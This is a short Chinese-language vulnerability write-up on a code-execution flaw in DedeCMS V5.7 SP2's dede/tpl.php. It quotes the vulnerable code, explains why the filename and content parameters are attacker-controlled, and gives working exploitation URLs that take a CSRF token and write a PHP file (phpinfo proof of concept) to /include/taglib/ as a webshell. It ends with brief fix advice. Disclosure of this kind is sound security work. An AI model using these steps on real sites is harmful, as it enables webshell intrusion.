簡介
織夢內容管理系統(DedeCms)是一款PHP開源網站管理系統。
DedeCMS V5.7 SP2版本中tpl.php存在代碼執行漏洞,攻擊者可利用該漏洞在增加新的標簽中上傳木馬,獲取webshell。筆者是2018年2月28日在官網下載的DedeCMS V5.7 SP2版本程序,截至發稿,漏洞依然存在。
漏洞詳情
織夢默認的后台地址是/dede/,當然也可以被更改,到時候根據網站具體情況替換默認后台地址即可。
dede/tpl.php中第251行到281行
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) { ShowMsg('文件名不合法,不允許進行操作!', '-1'); exit(); } require_once(DEDEINC.'/oxwindow.class.php'); $tagname = preg_replace("#\.lib\.php$#i", "", $filename); $content = stripslashes($content); $truefile = DEDEINC.'/taglib/'.$filename; $fp = fopen($truefile, 'w'); fwrite($fp, $content); fclose($fp);
1.由於dedecms全局變量注冊的特性,所以這里的content變量和filename變量可控。
2.可以看到將content直接寫入到文件中導致可以getshell。但是這里的文件名經過正則表達式,所以必須要.lib.php結尾。
注意: 這里還有一個csrf_check()函數,即請求中必須要帶token參數。
漏洞利用
1.首先獲取token 訪問 域名 + /dede/tpl.php?action=upload。在頁面源代碼中獲取到token值
然后訪問
域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值
shell:
域名 + /include/taglib/moonsec.lib.php
漏洞修復
1.禁止此處寫入文件。
2.過濾惡意標簽